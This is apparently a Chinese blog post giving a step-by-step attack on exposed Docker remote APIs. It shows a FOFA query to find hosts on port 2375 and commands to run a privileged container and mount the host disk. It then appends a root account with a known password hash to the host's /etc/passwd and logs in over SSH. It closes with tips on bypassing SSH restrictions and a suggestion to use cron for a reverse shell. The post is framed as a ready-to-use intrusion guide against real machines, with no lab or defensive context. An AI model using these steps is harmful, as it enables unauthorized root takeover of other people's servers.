实战Docker未授权访问提权_编程开发

实战Docker未授权访问提权

创始人

2024-03-17 11:39:20

0次

1、fofa关键字 port=“2375” && body=“page not found”
在这里插入图片描述
2、docker -H tcp://ip:port 可查看到当前所有的实例

3、docker -H tcp://ip:port pull alpine

4、docker -H tcp://ip:port run -it --privileged alpine bin/sh

5、fdisk -l 查看其分区结构
在这里插入图片描述
6、创建一个test目录，并且将其 /dev/vda2 挂载至test

7、通过whoami 和id可查看到当前的权限是root

8、cat /etc/passwd 查看当前所有的用户信息

9、通过如下命令强制将账号sql 密码123 写入其passwd文件
echo “sql:LRxM3nP3LOiYU:0:0:hello:/root:/bin/bash” >> /test/etc/passwd
在这里插入图片描述

10、现在即可通过新加的账号sql:123去ssh连接，此时已经成功连接上
在这里插入图片描述
常见问题：
1、挂载其分区后并未能将账号加进去，原因是你挂载的分区可能不是其主节点，尝试挂载其他分区
2、成功写入账号后无法ssh连接，可通过cat test/etc/ssh/ssh_config 看起ssh配置文件是否限制了ssh账号密码登录，如果是可直接通过vi命令改回来
3、可通过定时任务的方式反弹shell，解决一切难题

上一篇：Serverless成技术新常态：降低开发门槛，让效率更快一点

下一篇：自制肥鲨HDO2电源升压延长线

热门资讯

不能访问光猫的的管理页面光猫是现代家庭宽带网络的重要组成部分，它可以提供高速稳定的网络连接。但是，有时候我们会遇到不能访问光...

银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介：银河麒麟高级服务器操作系统V10是针对企业级关键业务...

【NI Multisim 14... 目录序言一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...

Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限：此外...

北信源内网安全管理卸载北信源内网安全管理是一款网络安全管理软件，主要用于保护内网安全。在日常使用过程中，卸载该软件是一种常...

ToDesk 远程工具安装及... 目录前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示文件传输设备链接 ...

AWSECS：访问外部网络时出... 如果您在AWS ECS中部署了应用程序，并且该应用程序需要访问外部网络，但是无法正常访问，可能是因为...

报告实验.pdfbase.tt... 这个错误通常是由于找不到字体文件或者文件路径不正确导致的。以下是一些解决方法：确认字体文件是否存在：...

AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如，在Dockerfile中添加以下代码：FR...

AsusVivobook无法开... 首先，我们可以尝试重置BIOS（Basic Input/Output System）来解决这个问题。...

实战Docker未授权访问提权

相关内容

热门资讯